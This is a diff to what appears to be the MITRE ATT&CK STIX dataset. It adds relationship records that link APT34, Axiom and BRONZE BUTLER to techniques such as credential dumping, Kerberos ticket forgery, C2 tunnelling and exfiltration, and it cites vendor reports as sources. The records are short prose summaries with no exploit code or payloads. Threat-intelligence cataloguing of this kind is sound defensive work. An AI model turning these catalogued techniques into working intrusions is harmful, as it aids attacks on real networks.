+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ]
+        },
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used the command-line interface for execution.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
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+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                },
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ]
+        },
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has dumped credentials from victims in several ways, including by using open source tools Mimikatz and Lazagne, or by harvesting credentials when users log into Outlook Web Access.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
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+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ]
+        },
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used a keylogging tool called KEYPUNCH.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
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+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ]
+        },
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used brute force techniques to obtain credentials.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
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+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ]
+        },
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used the publicly available tool SoftPerfect Network Scanner as well as a custom tool called GOLDIRONY to conduct network scanning.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
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+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ]
+        },
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+            "id": "relationship--11ebf3ff-b184-4010-b238-951e041370db",
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has a tool called CANDYKING to capture a screenshot of user's desktop.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
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+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ]
+        },
+        {
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 uses Remote Desktop Protocol for lateral movement. The group has also used tunneling tools to tunnel RDP into the environment.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
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+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ]
+        },
+        {
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used WMI for execution.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
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+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ]
+        },
+        {
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used valid administrator credentials to assist in lateral movement.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
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+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ]
+        },
+        {
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 malware often uses HTTP and DNS for C2. The group has also used the Plink utility and other tools to create tunnels to C2 servers.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
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+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ]
+        },
+        {
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 used the Plink utility and other tools to create tunnels to C2 servers.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
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+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ]
+        },
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 uses remote services such as VPN, Citrix, or OWA to persist in an environment.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
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+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ]
+        },
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+        },
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+            "relationship_type": "uses",
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+        },
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+            ]
+        },
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+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
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+            ]
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
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+            "relationship_type": "uses",
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+            "relationship_type": "uses",
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+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
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             "created": "2017-05-31T21:33:27.031Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Axiom actors have been known to use the Sticky Keys replacement within RDP sessions to obtain persistence.",
             "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
@@ -26141,7 +29492,7 @@
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             "created": "2017-05-31T21:33:27.031Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Axiom has been known to dump credentials.",
             "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
@@ -26162,7 +29513,7 @@
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             "created": "2017-05-31T21:33:27.031Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Axiom group has used other forms of obfuscation, include commingling legitimate traffic with communications traffic so that network streams appear legitimate.",
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@@ -26183,7 +29534,7 @@
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             "created": "2017-05-31T21:33:27.031Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Axiom group is known to have used RDP during operations.",
             "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
@@ -26204,7 +29555,7 @@
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             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
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@@ -26217,7 +29568,7 @@
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             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
             "target_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
@@ -26225,12 +29576,662 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ]
         },
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+            "id": "relationship--a1684fef-eca9-418a-ab48-b9aad4101c6c",
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used RC4 encryption (for Datper malware) and AES (for xxmm malware) to obfuscate HTTP traffic.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
+        {
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER malware has used HTTP for C2.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
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+            ],
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used various tools to download files, including DGet (a similar tool to wget).",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
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+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used a tool to capture screenshots.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
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+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
+        {
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used a tool called RarStar that encodes data with a custom XOR algorithm when posting it to a C2 server.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
+            "object_marking_refs": [
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+            ],
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--545a618f-9fe4-4573-a0a0-ecfcef0b407c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Several BRONZE BUTLER tools encode data with base64 when posting it to a C2 server.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
+            "object_marking_refs": [
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+            ],
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
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+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has compressed data into password-protected RAR archives prior to exfiltration.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--03303147-db81-4cb3-9368-98ee4f963c1a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER downloads encoded payloads and decodes them on the victim.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--cc13f316-0f88-4ed1-8790-b13bc35be119",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER downloader code has included \"0\" characters at the end of the file to inflate the file size in a likely attempt to evade anti-virus detection.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--d36e83a0-5370-4d78-862d-4dbe8921709d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used PowerShell for execution.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--d57dd9d9-d075-48c4-ae54-ed0aeae575de",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used VBS, VBE, and batch scripts for execution.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
+        {
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER uses the command-line interface.",
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+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
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+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used various tools to perform credential dumping.",
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+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
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+        },
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+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER malware xxmm contains a UAC bypass tool for privilege escalation.",
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+            "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
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+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
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+        },
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+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has created forged Kerberos Ticket Granting Ticket (TGT) and Ticket Granting Service (TGS) tickets to maintain administrative access.",
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+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
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+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER typically use <code>ping</code> and Net to enumerate systems.",
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+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
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+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used <code>net user /domain</code> to identify account information.",
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+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
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+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used <code>net time</code> to check the local time on a target system.",
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+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
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+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used at and schtasks to register a scheduled task to execute malware during lateral movement.",
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+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
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+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used a batch script that adds a Registry Run key to establish malware persistence.",
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+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
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+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has given malware the same name as an existing file on the file share server to cause users to unwittingly launch and install the malware on additional systems.",
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+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has exfiltrated files stolen from local systems.",
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+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
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+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has exfiltrated files stolen from file shares.",
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+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has compressed and encrypted data into password-protected RAR archives prior to exfiltration.",
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+            "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638",
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+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
+        {
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has collected a list of files from the victim and uploaded it to its C2 server, and then created a new list of specific files to steal.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
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+            ],
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+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
+        {
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "The BRONZE BUTLER uploader or malware the uploader uses <code>command</code> to delete the RAR archives after they have been exfiltrated.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
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+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
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+            "modified": "2018-01-17T12:56:55.080Z",
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+        },
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+        },
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+        },
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--d691e305-8ce5-40cd-a648-b0dcab329e69",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "tool--c9703cd3-141c-43a0-a926-380082be5d04",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--42897880-fe55-4f54-a42c-f85ba19fb39a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
